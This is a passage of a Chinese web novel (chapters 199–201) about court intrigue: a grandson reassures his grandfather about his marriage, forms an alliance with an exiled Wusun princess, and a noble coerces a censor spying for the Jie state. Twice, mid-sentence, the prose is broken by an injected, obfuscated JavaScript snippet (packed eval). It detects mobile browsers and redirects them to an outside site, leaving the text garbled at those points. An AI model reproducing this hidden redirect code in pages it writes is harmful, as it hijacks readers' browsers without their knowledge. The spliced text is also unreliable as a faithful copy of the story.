冯老爷子眉头紧锁,看着自幼疼爱的小孙孙,满心复杂喉咙微微蠕动半晌,终究舍不得半句斥责,只满心酸涩地憋出一句:“怎么是你嫁他……” 燕修延为了让老人释怀,毫不犹豫、干脆利落把陛下卖个彻底:“是陛下当朝亲自赐婚让我嫁给他的,干娘还特意为我筹备了满满十几箱嫁妆,风风光光嫁去谢家的。” 冯老爷子双眉狠狠竖起,眼底满是震惊,语气陡然沉了几分:“什么?!陛下亲自赐婚?!” 冯父心头暗忖:坏了,看老父亲这神色怕是都要生出替孙儿抱不平、起兵造反的心思了。 燕修延见火候差不多了,立马话锋一转,开始细数谢伟恒的真心与诚意:“不过爷爷你放心,他待我极好。他给了我几百万两,还买下谢府旁的整座宅院送给我。” 冯父在旁默默无言,暗自心疼起陛下。 他算是彻底听出来了,自家干儿子这是搬出陛下赐婚的由头淡化这件事的突兀,再句句罗列谢伟恒的万般好,对比之下反倒衬得陛下成了恶人。 妥妥的护夫狂魔。 燕修延越说越细致:“之前去抄晋王府返程时,去了一趟江南谢家,谢家宗族亲友待我格外亲厚,给我的见面礼繁多至极一车都装不下,堆得满满当当。” 说起这件事,他还有些哭笑不得:“我算是开了眼界,原来顶级大家族人口这般兴旺,族人众多,我坐在席上根本不敢吃得太快,只能慢慢吃力争做最后一个下桌的——他们我真的记不全。” 冯老爷子静静听着小孙孙絮絮叨叨的话语,看着他白皙圆润的脸颊、松弛明媚的眉眼。 是啊,人养得白白胖胖、气色极佳,眉眼间无忧无虑、肆意坦荡,半点没有受委屈、熬苦楚的模样。 更何况,以小孙孙桀骜护己的性子,这辈子从来只有他欺负旁人的份,哪里会让自己受半点委屈。 这么一想,冯老爷子心中最后一点郁结的小疙瘩彻底烟消云散。 “那日后,等你的嫂子们再有子嗣,过继一个到你们名下也好……” “可别!” 燕修延出声打断,摆弄着老爷子的胳膊软声撒娇:“爷爷,我的好爷爷,我不想过继小孩子让嫂嫂们受分离的苦,我们会有自己的孩子,就是不知道那药吃完疼不疼。” 冯老爷子听懂了他的言外之意。 民间早有传闻,男子相守若想孕育子嗣需借助生子药,代价极大、伤身耗气,副作用更是难以预估。 女子怀胎十月尚且步步艰辛、受尽苦楚;男子本无孕育之能,若强行受孕其中艰难苦痛必然是百倍千倍。 看着眼前鲜活明媚的小孙孙,冯老爷子心头瞬间涌上密密麻麻的心疼:“谢伟恒也跟你一个想法?他怎么不自己生,非要让你受这般伤身的苦。” 燕修延抬手抚平老爷子蹙起的眉头,替谢伟恒辩解:“不是哒,他不希望有小孩子分走我的心思、占去我的精力。” ————————————— 注: “人生当贵盛,修德可延之。”出自——杜荀鹤《经废宅》 虞睿祥:人在皇宫坐,锅从天上来,禁止拉踩,谢谢。 199. 燕和乌昆曜霜达成合作 冯老爷子慢悠悠捋着胡须,眼底盛着笑意:“你这臭小子,还得意的炫耀上了。” 燕修延刻意扬起修长的眉峰,满脸都是藏不住的雀跃:“那是自然,谢伟恒可黏我了。” 冯父想起锦似程私下跟他说的事,燕修延一路上往京城写了许多封信,京城那头也是回信频频。 “你们两个,倒是黏糊缠绵。” 说完,冯父心底一咯噔后背瞬间窜上一层薄汗,暗道不好,竟一时嘴快说漏嘴了。 果不其然,下一秒对上冯老爷子审视的目光:“听你话里的意思,早就知道修延成亲的事情了?” 冯父头皮一阵发紧,手足无措地站在原地:“幺儿来边关的时候,听和他同行的锦家小子说的。” 冯老爷子一眼就看出来自己儿子眼底的心虚。 他抬手隔空点了点冯父。 冯父被老爷子点得不敢吭声,垂着脑袋,像个做错事的孩童。 燕修延看自己冯爹跟个鹌鹑似的,肩膀微微耸动,嘎嘎直乐。 “爷爷,明天记得帮我写请功的折子啊。” 燕修延笑意盈盈的伸手扯了下老爷子蓬松的白胡子。 刚才还严肃的冯老爷子,被他这一番调皮亲昵的举动软化,脸上紧绷的线条尽数化开,眼底重新盛满慈祥笑意:“好好好,都依你,全都给你办妥帖。” 冯父插嘴帮老爷子邀功:“你回来后不到一盏茶的功夫,老爷子就写好请功折子,快马加急送往京城了。” 谁知话音刚落,就迎上冯老爷子一记瞪眼。 冯父有些委屈,好心帮你邀功,还有错了? 燕修延“嘿嘿“看得乐不可支:“爷爷最好啦!冯爹啊你要努努力,咱家就你最不努力对我好。” 冯父:“……” 他飞快朝燕修延递去眼色:臭小子,你少在这恃宠而骄、颠倒黑白啊! 燕修延拉着冯老爷子的衣袖:“爷爷,冯爹他瞪我!他凶我!” 冯老爷子护短到底,眉毛一竖:“无妨,爷爷这就替你收拾他,抽他!” 冯父身形利落起身,脚底生风转身就往外跑,一边快步逃离一边念叨:“惹不起惹不起,我躲得起!” 前头四个儿子个顶个的乖巧懂事、听话省心,谁能想到干儿子就是个磨人的小讨债鬼! 冯父自我安慰:没办法,自己亲认的、自己惯出来的,还能咋地。 燕修延慵懒地伸个长长的懒腰,缓缓坐直身子:“爷爷,咱们也该回去了,早点休息。乌孙和羯国折损了这么多兵力,说不准哪天就会派人前来边关要人。” 冯老爷子站起身,伸手把燕修延拉起来:“那你心里打算怎么做?” 燕修延勾起一抹狡黠肆意的笑意,眼底藏着胸有成竹的算计:“不认啊,他们又没有证据,空口无凭奈何不了我们,顺便叫他们好好尝一尝改良版雷火丸的滋味。” 雷火弹威力比雷火丸大的多,改良版雷火丸纯粹是燕修延闲来无事、凭着一己恶趣味捣鼓出来的产物。 你还别说,工部打造正经军械、御用器物时屡屡出错、频频失败,做这些东西倒是随意调试几番就能成功。 由此可得:工部不太正经。 军医营内。 药草气息浓郁,淡淡萦绕在空气里,带着微凉的苦涩。 军医取来软枕轻轻垫在乌昆曜霜的身后,让满身伤痕、身心俱疲的女子得以安稳倚靠。 安置妥当后她抬手示意,带着帐内其余军医尽数躬身退出,立于帐外静静守候将独处的空间留给二人。 燕修延立在帐中,身姿挺拔,语气平静无波,率先开口打破沉寂:“你心中有什么想问的、想说的尽管直言。” 乌昆曜霜脊背微微绷紧,五指死死攥紧身下的被褥,指节泛白,力道大得几乎要掐入棉料之中:“乌孙现任国王是我的亲弟弟。” 她深吸一口带着药味的空气,字字泣血,道出不堪回首的过往:“是他勾结羯国国王、弑父篡位,夺走了本该属于我的王位!不仅如此,他赶尽杀绝、置我于死地,最后更是将我当作战利品卖给羯国沦为舞姬。 我在羯国阴暗潮湿的地牢里挣扎求生,日日受辱,生不如死,熬过了无数暗无天日的日夜。” 燕修延眸光微凝,神色依旧淡然,不被她的悲戚牵动分毫:“你此番现身羯国军营是以舞姬的身份前去、是羯国国王授意让你入营取悦羯军士兵?” “是。” 乌昆曜霜抬眼望向眼前人,知晓此人心思缜密、智计无双,无需隐瞒,索性道出藏在心底的秘密:“但我入羯军军营还有一个目的——当年燕家军镇守边关、所向披靡,之所以会陷入孤立无援、全军覆没的绝境,是因为羯国勾结大虞的贪官污吏! 羯国一心想要在大虞疆土占有一席之地,燕家军就是他们最大的绊脚石,必须除之而后快! 你们大虞的先帝是个昏聩无能的,被身边奸佞宦官三言两语挑唆蛊惑,竟下了荒唐圣旨勒令边关所有驻军尽数袖手旁观。 坐视燕家军孤军奋战,直至血染疆场、满门殉国!” 燕修延垂在身侧的手收紧,乌昆曜霜说的这些他早就知道了,但再次听到心底还是会翻涌起怒意面上却依旧云淡风轻。 “你探听这些陈年旧事,原因是什么?” 乌昆曜霜带着破釜沉舟的决绝和孤注一掷的勇气,她直视着燕修延的双眼:“我要你帮我夺回属于我的王位!事成之后,乌孙举国上下愿向大虞俯首称臣,永世归顺,亦会唯你马首是瞻,听你调遣!” 燕修延嘴角勾起一抹似笑非笑的弧度,眼底带着几分试探:“你就不怕我利用你平定边关、查清旧案后,转头直接灭了乌孙?” “怕,我如何不怕?可我如今早已一无所有,王位被夺,沦为羯国玩物、阶下囚。与其卑微苟活,最终不明不白地惨死在羯国地牢、屈辱落幕倒不如放手一搏!若是败了,我就拉上所有乌孙贵族一同为我陪葬,此生也算无憾!” 燕修延静静看着眼前孤狠决绝的女子,眼底的审视渐渐褪去多了几分欣赏:“你的性子,够烈、够通透,我很喜欢。” 乌昆曜霜知晓对方已经心动,连忙稳住心神,条理清晰地为他剖析当下边关局势:“你生擒羯、乌两国两千多俘虏,两国定然恼羞成怒、伺机报复。如今大虞新帝登基、国力鼎盛,军对兵力远超羯国、乌孙任意一国。 可若是两国摒弃嫌隙、联手来犯,纵使大虞军力强盛也未必能稳操胜券,否则此番你也不会亲自坐镇边关,你心中一定布下周密计划,我说的没错吧?” 燕修延眼底精光一闪,不再遮掩,道出自己的全盘布局:“你确实聪慧过人、看得通透。我必须战死然后彻查当年旧案,炸出朝堂中所有与羯国暗中勾结、害死燕家军的蛀虫佞臣。 战死后我会助你重返乌孙、夺回王位。至于后续能否坐稳江山、稳住朝野就要看你自己的本事与手段了。” 回到房间,燕修延趴在烛火下面给谢伟恒写信。 抓了那么多俘虏得炫耀一下;跟爷爷、冯爹的趣味要细细说尽,让他知晓自己在边关一切安好;乌孙原继承人也要说但不能说太多,还有他冯娘亲的手艺不错——额,这个昨天说过了。 燕修延嘴巴里念念有词的写了许多,字字皆是对京城那人的惦念与牵挂。 京城里,谢伟恒落笔收锋,将一封写好的信纸仔细折叠整齐轻轻塞入素色信封之中。 而后他起身褪去常服换上一身利落劲装,抬手戴上深色披风的兜帽,趁着沉沉夜色悄无声息地出府。 虞睿祥寻到楚毅手下的错处,下令罚其闭门思过,敲打朝堂暗流。 谢伟恒暗中查到御史的妻子身体不好,一直在吃药却不曾见他府上的人去京城药铺抓药取方,多年来皆是如此蹊跷万分。 早年御史仕途坎坷曾三次遇险,有一次甚至危及生命,都是他夫人不顾性命、舍身相救。 后来御史就将所有妾室送走,余生只守妻子一人,成为京城内人人皆知的“妻管严”。 谢伟恒身法迅捷利落,借着夜色掩护轻松避开御史府的家丁,悄无声息潜入府中,精准寻到书房所在的院落。 书房里除了御史端坐案前批阅公文,还有一名书童垂手侍立,安静伺候。 谢伟恒从窗 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17646357|206799||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 户跃进书房的瞬间指间射出一枚细如牛毛、泛着冷光的银针,刺入书童后颈穴位,书童身子一软直直往前一栽,当场昏迷在地。 在御史出声之前谢伟恒堵住了他的嘴,将他牢牢捆绑在椅子上。 兜帽遮住了谢伟恒大半张脸,只露出来一点下巴。 御史没认出来,他只当是遇上了入室劫掠的悍匪刺客,他用力挣了挣:“呜呜!” 谢伟恒跟燕修延学了些改变声音的皮毛,此刻刻意压低声线,褪去原本清润低沉的音色,开口时嗓音粗粝沙哑,带着陌生的冷硬质感:“尊夫人吃的药是从何处得来的?” 御史瞳孔骤缩不由得睁大眼睛,这个人究竟是谁?! 谢伟恒站到御史椅子后面,抬手拍了拍他紧绷的肩膀:“她赖以续命的药跟你把大虞的消息传递给羯国之间,有何关联?” 御史心中一凛,通体冰凉,他认定来的是陛下的人。 燕修延远在边关坐镇、肃清外敌势力;能在京城暗中查他隐秘、手握他把柄,又有这般身手的唯有一人——谢伟恒! 谢伟恒从身后单手扣住御史的脖子,另一只手抽走他口中堵塞的布团:“说实话,当然你也可以选择闭口不言或者放声呼救。” 御史没有开口应答,静静等待着对方后续的话语。 谢伟恒垂眸看着他,语气依旧淡然无波:“从明日起,尊夫人将会去寺庙中为你诵经祈福,外界人无法接触到更无法送药进去。” 御史紧抿着唇,他认了、铁证如山,就是株连九族的死罪,他夫人逃不了。 他不认、闭口不谈,他夫人又会因断药而痼疾复发,日日受病痛折磨最终惨死庙中。 御史陷入两难之中。 不认的话,夫人尚能顶着一品夫人的身份,体面活着直至离世。 谢伟恒似是洞悉了御史心底所有的纠结:“御史大人当真以为自己私下做的事情,没被陛下尽数掌握?尊夫人是成为人人唾弃的罪臣之妻还是一生都是一品夫人,决策权在你的手上。” 御史眼皮颤了颤,心神彻底失守,声音带着极致的挣扎:“既然你知道这么多,那我若是如实招供,她又如何能摆脱罪臣之妻的污名?” 谢伟恒给了他唯一的筹码与希望:“那你就赌一次,若羯国大军溃败、边关大捷,陛下龙颜大悦必然会下旨大赦天下。届时只会秘密处置你一人,罪责止于你绝不牵连妻儿家人。” 御史年少入仕时,胆大敢闯,最是喜好博弈冒险,凭着一身闯劲与赌劲,步步攀升才有了今日地位。 时至暮年,他胆怯了,开始畏首畏尾起来,不敢赌。 “叩叩” 门外传来两声敲门声,紧接着书房的门被轻轻推开了。 谢伟恒动作很快,一刀割断御史身上的绳子,一手提着绳子、一手提着书童跃上房梁。 御史控制着自己不往房梁上看,他担心如果自己夫人也看了上去,会被灭口。 御史的夫人罗氏端来了一碗温热滋补浓汤,她将汤碗轻轻放在御史手边:“喝了汤,早些休息吧。” 说着,她轻轻俯身看着案上堆积如山的公文,语气满是心疼:“如今陛下选贤任能、体恤朝臣,你该退就退,一把年纪夜夜操劳到这般时晚,仔细身子骨熬不住。” 御史扯出一抹温和笑意,抬手端起温热的汤碗,喝了一口:“夫人熬的汤,滋味最是醇香。” “你啊,又避而不答。” 静静看着丞相喝完汤,罗氏收起空碗,又再三叮嘱一句“早些歇息,莫要熬夜”,才转身款款离去,轻轻带上书房房门。 御史松了半口气,很快心又提上来。 方才隐匿在房梁上的人已经悄无声息、轻飘飘站在他的背后! “御史大人,赌一把,尊夫人尚有一线生机,可若是不赌……” 谢伟恒未尽的话听的御史浑身发冷,眼皮狂跳不止。 不赌,明日他夫人就会“自愿”去寺庙念经祈福,断药受难,日日饱受病痛折磨最终凄惨而亡。 御史死死咬紧牙关,额角渗出细密冷汗,终是彻底妥协:“你想知道什么,我尽数招供。” 200. 那也是你的师父! 谢伟恒身姿挺拔如松,薄唇轻启吐出两个字:“全部。” 御史想真假参半着说,既能搪塞过关不至于彻底得罪权贵,但又担心会被对方发现,危及罗氏的性命。 权衡再三,他重重闭了闭眼再睁开时,缓缓道出了事情,半句不提幕后撑腰的右丞相。 七年前,他的妻子罗氏骤然重疾缠身,高热不退、气若游丝。他寻遍名医,汤药、针灸尽数试过,病情非但没有半分好转反倒一日重过一日,府中上下都已备好后事了。 一个打扮邋遢的人说有办法治好罗氏,他掌心摊开,静静躺着一粒乌黑的药丸。” 御史当然不信,可就在那时贴身丫鬟跌跌撞撞跑过来和他说罗氏气息微弱,怕是撑不过半个时辰了。 他只能抱着死马当活马医的心态,接过那粒来路不明的药丸亲自喂罗氏服下。 没想到一粒药下去,罗氏滚烫的身躯渐渐降温,紧锁的眉头缓缓舒展,紊乱的气息慢慢平稳下来,原本灰白憔悴的面色,也透出了一丝微弱的血色。 府中的大夫复诊后,直言已经从鬼门关抢回一命,性命已然无忧。 “后来我派人四处寻找那个人,可那人仿佛凭空消失一般,始终杳无踪迹。” 过了大约两个月的安稳日子,罗氏偶感风寒,本是无伤大雅的小病却急转直下再度重病垂危。 御史日夜守在床前心急如焚、束手无策,就在他再度绝望时,再次遇到了给他药的人。” 这次,他邀请对方入府为罗氏看病。 对方没有拒绝。 御史声音沉下去:“罗氏一天天好起来,我将布先生奉为上宾,可有一天他告诉我,他其实是羯国人。如果我不听他的、为他传递关键信息,他就不给我药。” 谢伟恒神色依旧淡然,听完全程,不急不缓地开口追问:“他现在可还在你府中?” 御史摇头,眼底满是无力:“不在,他到了时间就会将药送来,一般我要联络他之前会先去香荷堂买一份荷花酥,他拿了我的信送给羯人,应该早就回京城来。” “不见得。” 谢伟恒唇角勾起一抹极淡的冷弧:“按照他的脚程,有敌犯边关,应该会更早才是,这个布先生根本不懂药理。” 懂的话,就不会频频遭黑手,不是上吐下泻、就是头痛脑热,单是离开京郊都花了好多时日。 御史沉默,他听出来,对方掌握的隐秘与内情远比自己猜想的更多。 谢伟恒声线清冷,直切核心:“说说,右丞相为什么想拉拢五皇子。” 御史并不知道对方为什么这么做:“我只有一个猜测,他想把五皇子扶成傀儡皇帝。” 五皇子自幼体弱多病,由他来做皇帝,借此把持朝政、独揽大权。 大虞地大物博,人口众多,羯人纵然野心勃勃、凶悍好战也绝不可能以武力杀尽大虞万民、也杀不光——血腥的镇压只会让大虞人站起来反抗。 “等到布先生回京,你写封信让他送给羯人,信上就写大虞已经同楼兰达成密盟,送了威力十足的雷火炮给楼兰,而且承诺将来会把羯国人赶走,让楼兰迁居到羯国人的地盘上。” 御史很快就猜到这么做的目的,让羯国率先出兵征讨楼兰,让两国自相残杀、两败俱伤,大虞就可坐收渔利、坐观成败。 但他想的是,如果羯国真的没了,罗氏赖以续命的药该从何而来? 谢伟恒看穿他心中所有的纠结,目光沉沉地看着他:“明日,让尊夫人借请安之名入宫觐见太后,会有医者为她诊治——御史可曾想过,她的病是如何来的?” 话完,不待御史回过神来谢伟恒身形一晃就掠出书房,消失在沉沉夜色之中。 御史坐在位置上,书童靠在他的书案旁昏睡未醒。 他低声喃喃:“我何尝没有怀疑过,可断了那药,夫人她就会撑不下去性命难保啊……” 现在自己暴露,燕修延、谢伟恒智谋深沉、手段狠绝是右丞相一脉的心腹大患,更是他日后自保的最大阻碍。 他提笔蘸墨,指尖微颤,落笔却字字凌厉,飞快修书一封,遣心腹人连夜悄悄送往丞相府。 第二日,罗氏听从御史叮嘱,梳洗整齐备上薄礼,准时入宫拜见太后。 太后那边,虞睿祥早就说过了。 她同罗氏寒暄几句,目光落在罗氏略显苍白虚弱的面容上,轻声开口:“哀家瞧你气色始终欠佳,想起几年前你似乎生过一场大病?” 罗氏温顺颔首,眉眼温婉:“劳太后挂心,臣妇确有此一劫。侥幸捡回性命只是病愈之后,身子骨就彻底亏空,常年虚弱,难以复原。” 太后轻轻点头,抬手温和吩咐宫人:“医者仁心,既如此传太医过来为罗夫人细细诊脉,好好调理一番。” 罗氏连忙起身福身谢恩,礼数周全:“多谢太后娘娘体恤厚爱。” 不多时,郑太医和柳岚一同进来。 二人一前一后,躬身行礼,随后就依言上前为罗氏诊脉。 两人配合默契,一人先搭右手腕脉,片刻后互换左手,反复诊察、细细揣摩,指尖起落间,神色愈发凝重。 郑太医和柳岚对视一眼,无需言语,便已然心中有数了。 “罗夫人不必忧心,你体内盘踞数年的沉珂旧毒,看似顽固难除实则有迹可循,只要循序渐进、耐心调理,假以时日定能彻底根除。” 郑太医提笔伏案,挥毫落纸,写下一张缜密精细的根治药方,连同柳岚亦提笔写下另一张药方,一并交给罗氏。 “老夫这张药方,夫人交给御史大人,切记不得让除他以外的人知道。而柳岚写的这份,可随意交由府中下人抓药煎煮,无需避讳。” 罗氏聪慧,一点就通,她身体的情况其中有蹊跷。 心中了然,罗氏面上不动声色,郑重屈膝拜谢:“臣妇多谢太后娘娘,多谢两位医者费心。” 太后含笑颔首,又命宫人取来诸多珍宝绸缎、滋补珍品,重重赏赐于她,以示恩宠。 罗氏谢恩退下,步履从容,带着满心思索离开宫殿。 待罗氏走远,郑太医为太后请过平安脉就带着柳岚前往御书房复命。 两人走出慈宁宫宫殿范围就忍不住争执起来。 郑太医眉头紧锁:“罗氏的药,应该有你师父的手笔,错不了!” 柳岚脚步一顿,眉眼微挑,语气带着几分戏谑反驳:“是你师父。” “是你师父!我早就叛出师门、断绝所有干系!” 柳岚双手负于身后,慢悠悠往前走,语气漫不经心:“我叛出师门的也不比你迟啊,你都一把年纪了,我才多大啊。” “你、你这丫头!” 郑太医连连辩驳:“我只是拜师的时候年岁不小,而且我在师门的时间很短!” “合着我入门两月就算沾染日久了?”柳岚挑眉回怼,寸步不让。 两人一路拌嘴、一路辩驳,吵吵闹闹行至御书。 待到门外,方才齐齐收敛神色,端正身姿,褪去嬉闹争执,恢复了沉稳模样。 入殿见驾,直面端坐龙椅的虞睿祥,两人方才压下的争执,又忍不住低声续上。 虞睿祥看着吵得不亦乐乎的两人,无奈抬手捏捏发胀的眉心,出声制止:“好了,暂且休争。朕问你们,罗氏的病是怎么回事?” 柳岚率先上前一步,朗声回禀:“她体内的诡异药毒、常年反复的怪疾,根源应该是郑太医的弑父下的药!” 郑太医吹胡子瞪眼,急声纠正:“什么叫我的师父?那也是你的师父!你可别独自摘干净!” 原来郑太医和柳岚都曾经拜入江湖名医欧仕琛的门下。 欧仕琛医术冠绝天下 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17648252|206799||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,一手疑难杂症、秘制毒术出神入化,堪称当世顶尖。 但这个人品性卑劣、唯利是图,医者仁心四个字跟他不沾边,为了金银钱财、名利富贵,不择手段,残害无数无辜之人。 郑太医学了差不多两年,受不了,毅然叛出师门,另投名师,潜心修习正统医术。 柳岚比他入门极晚,仅仅学了两个月,就彻底看穿欧仕琛贪婪阴毒的本性。 她趁欧仕琛不备悄悄偷走了他毕生珍藏的十本药理毒术古籍,自此悄然离去,凭借十本秘典自学成才,医术、毒术皆突飞猛进,远超常人。 郑太医满眼震惊,死死盯着柳岚,语气急切:“那十本压箱底的古籍,竟然在你手中?快快借师兄一观!” 欧攀荼为了钱,坏事做尽,后惹到权贵,被官府追拿下落不明。 郑太医数次重游旧地、寻访师门旧址,始终一无所获,还以为欧仕琛逃亡时,已经将毕生典籍尽数带走,心中遗憾多年。 “呦,这个时候就自称师兄了?” 柳岚双臂环胸,侧过身子,淡淡瞥他一眼,半点不松口:“不借,你的品性我还不清楚?借出去的东西,从来没有归还之日,我可不吃这个亏。” 虞睿祥轻叩桌面,沉声再度发问:“闲话暂且搁置,罗氏的病,能否彻底根治?” 郑太医点头:“当然可以根治,臣已经写下对症良方,循序渐进服药就可拔除七年沉珂,清除体内余毒。” 至于柳岚开的那份,改了几味药,看着像是补气血的药。 为的就是掩人耳目,试探罗氏身边的人是否干净。 罗氏此前生病,很可能是身边人下的手,他们这样正好可以迷惑对方。 罗氏回到丞相府后,先从容吩咐管家将太后赏赐的诸多珍宝妥善收纳、登记入库,举止从容,不露半分异样。 随后取出柳岚写的药方,坦然交给自己身边最贴身的嬷嬷,嘱咐其前去药铺抓药、日常煎煮。 全程坦荡自然,无半分遮掩,全然一副谨遵医嘱、安心调理的模样,任谁窥探都看不出丝毫破绽。 晚上,罗氏下厨炖了一碗温润滋补的汤品,端着走进书房。 御史正伏案处理公务,见妻子进来,心头微动,抬手示意一旁侍立的书童退下。 待书房房门轻轻合上,四下无人,御史抬眸看向温婉的妻子,轻声问道:“夫人今日入宫觐见太后,一切可好?” 罗氏眉眼含笑,神色温婉柔和,语气平淡无波:“太后娘娘体恤我、甚是关怀,特意传郑太医为我诊脉开方,叮嘱我好生调理身子,还重重赏赐了诸多物件。我已将太医开具的调理药方交给贴身嬷嬷去打理了。” 御史面露温色,缓缓点头:“郑太医乃太医院院首,医术冠绝朝堂,有他的药方调理,夫人的身子定然会日渐康健。” “是啊。” 罗氏浅浅应着,顺势取出随身干净的素色锦帕,温柔上前替御史轻轻擦拭着手。 就在指尖相触、帕子覆手的瞬间,她借着擦手的遮挡,指尖微送将一方叠得方方正正、小巧精致的纸条悄然塞进御史的掌心之中,动作自然流畅,毫无痕迹。 两人对视一眼,多年来的夫妻默契,让御史明白这才是郑太医开的方子。 他瞬间就想明白了,罗氏的病不一定是外人下的手,而是身边人干的! 御史掌心攥紧薄薄的纸方,指尖微微发颤,嘴巴动了动,没有说话,眼中满是自责。 布先生出现的极其凑巧,他一直认为是布先生偷偷动的手脚,从未怀疑朝夕相伴、贴身伺候的府中下人。 罗氏温柔抬手,轻轻拍了拍他的手背,柔声安抚:“快趁热把汤喝了吧,早些歇息莫要过度劳神。” 御史抬眸看着眼前温婉聪慧的妻子,心中百感交集,重重握紧她的手:“好,我都听夫人的。” 201. 等待进入网审 边关。 燕修延懒懒散散地斜蹲在墙头,一袭玄色劲装被风拂得微微晃动,乌黑的发丝随性束在冠中,几缕碎发垂在颊边。 他唇间叼着一根干枯的狗尾巴草,草尾轻轻晃悠,眉眼半垂漫不经心地望着远方空荡荡的戈壁荒原。 “二哥,整整七天了。他们怎么半点动静都没有?这群人是瞎了,还是压根没派人巡查?” 冯二哥蹲在他身边,沉思良久,喉结动了动,只吐出干巴巴三个字:“不知道。” 燕修延利落吐掉口中的枯草:“哦,回去我让二嫂抽你。” “抽我也不知道啊!” 冯二哥满脸委屈,宽大的肩膀垮下来:“这边关局势诡谲,谁能猜透敌军的心思?” 燕修延懒得再逗他,双手撑着大腿利落起身,不能再这么漫无目的地等下去了,写信很费笔墨还有纸的。 嗯,还得银子——他已经给几个信使塞了好多次银子,毕竟这路途遥远,白跑的差事没人愿意干,日积月累下来,也是一笔不小的开销。 燕修延下城楼找到田靖时,身侧赫然还站着乌昆曜霜:“田靖,给你的地图做好地景盘了吗?” 他离京前,从南宫何遥手中要来了乌孙、羯国完整的地图。 田靖微微颔首:“昨天连夜赶工,破晓时分方才彻底完工,分毫无误。” 硕大的木质地景盘稳稳陈列在中军大案中央,山川河流、戈壁险隘、城关要道、部落营地一一复刻,比例精准,脉络清晰,两国交界的错综复杂地势一目了然。 燕修延俯身凝视地景盘,乌昆曜霜亦移步上前,二人一左一右,时而俯身细看隘口走势,时而侧身眺望整片疆域布局,时不时互换站位,从不同角度推敲战局破绽。 冯二哥在两人身后傻乎乎跟着来回打转,绕得头晕眼花,终于忍不住挠着头嘟囔:“小弟,乌孙王,你俩都围着看快半个时辰了,来来回回转了十几圈,你们头不晕我看着都眼晕。” “二哥你别跟个小尾巴似的黏在身后。” 燕修延头都没抬,抬手轻轻把他往旁边拨了拨,注意力始终牢牢锁在地景盘的路线排布上。 冯二哥感觉自己受到了嫌弃,一脸委屈巴巴也不凑上前了,干脆抱着双膝蹲在最角落的阴影里,活像被遗弃的大型物件,闷闷不乐生着闷气。 不多时,锦似程掀帘而入。 他目光快速扫过众人,起初并未留意角落,待视线下移瞥见蹲在阴影里的人,吓了一跳:“怎么了这是?” 这么大块头,角落都快塞不下了。 燕修延正凝神推演偷袭、迂回的全套路线,闻言随口淡淡接话:“别管他,大概是闲得慌蹲那儿种蘑菇呢。” “啊?种、种蘑菇?” 角落的冯二哥幽怨地回头,眼神委屈得不行:“你会这么嫌弃家中兄长吗?” 锦似程想都没想脱口而出:“嫌弃,相当嫌弃。” 一句话精准补刀。 冯二哥闭麦默默扭过头,彻底不吭声了,满心满眼都是委屈。 乌昆曜霜伸出两指捏着两面小巧的制式木旗,分别插在地景盘对应的乌孙国与羯国腹地位置。 留下暗中盯着的人回报,被端掉的营地依旧死寂一片,连日来毫无一兵一卒前来探查、驰援,安静得太过反常。 燕修延指尖轻点着案沿,眸底闪过一丝狡黠的思量。 咋地,就准备这些人打完算了? 不行,大虞荒地那么多,他好不容易亲赴边关一趟可不能让计划泡汤——额,不是,多抓几个壮劳力。 燕修延又从怀中取出一卷细密图纸,是此前梳理出的南宫何遥逃亡边境的隐秘路线。 一个大胆又绝妙的计谋在脑海中成型。 “乌孙现在虽然是羯国的走狗,但看似臣服顺从,实则两国互相猜忌、彼此嫌隙,早已积怨颇深。” 乌昆曜霜目光锐利,看穿了两国局势的核心破绽,沉声提议,“眼下正是绝佳时机,何不略施手段挑拨离间,让两国互生猜忌、自相残杀,坐收渔利?” 此言恰好正中燕修延下怀。 “正合我意。二哥!” 蹲在角落生闷气的冯二哥,哪怕满心委屈打定主意绝不搭话,可听见自家小弟出声呼唤,身体已然形成本能下意识应声抬头:“啥?” “收缴的两国军械都存放在何处?”燕修延问道。 “都在老三那儿清点收纳、统一看管着。”冯二哥脱口而出,答完才反应过来自己白送了答案,悔得捶胸顿足。 燕修延抬脚去找冯三哥。 冯二哥用完就被丢,憋屈地“嗷”一嗓子,去找自己媳妇诉苦、哭、委屈了。 锦似程在原地跟田靖、乌昆曜霜干瞪眼。 田靖:“好热闹。” 锦似程嘴角抽搐:“太癫了。” 乌昆曜霜精准总结:“有病。” 燕修延细细观察收缴的刀枪箭矢、甲胄兵刃,乌孙与羯国的每一件兵器上都深刻着各自国家独有的图腾符号。 “我准备出去玩玩。” 他直起身随口叮嘱,语气带着几分俏皮,“对了三哥,我那罐毒虫好好给我养着哈,别出岔子,用处大得很。” 一想到那罐通体怪异、蛰伏暗处的毒虫,冯三哥就头皮发麻,浑身不自在。 也不知道小弟养这些毒虫有何用途,不过小弟让他养,那他就好生养着。 燕修延转身去见冯父,开口讨要人手、申请出边权限。 听了幺儿的说法,冯父眉头紧紧拧起,连连摇头:“这样太过危险了!深入羯、乌交界腹地,四面皆敌毫无退路,我绝不允许你以身犯险、深入险境。” 燕修延摆摆手:“富贵险中求嘛!哎呀,冯爹你放宽心~我惜命得很,我家阿恒还在京城等着我回去呢,我肯定完好无损回去见他!” 软磨硬泡许久,冯父依旧不肯松口,只说此事事关重大必须禀报老爷子定夺。 结果冯老爷子非但没有阻拦,反而慧眼识局,当即拍板应允:“我给你挑几个精通羯语的。” 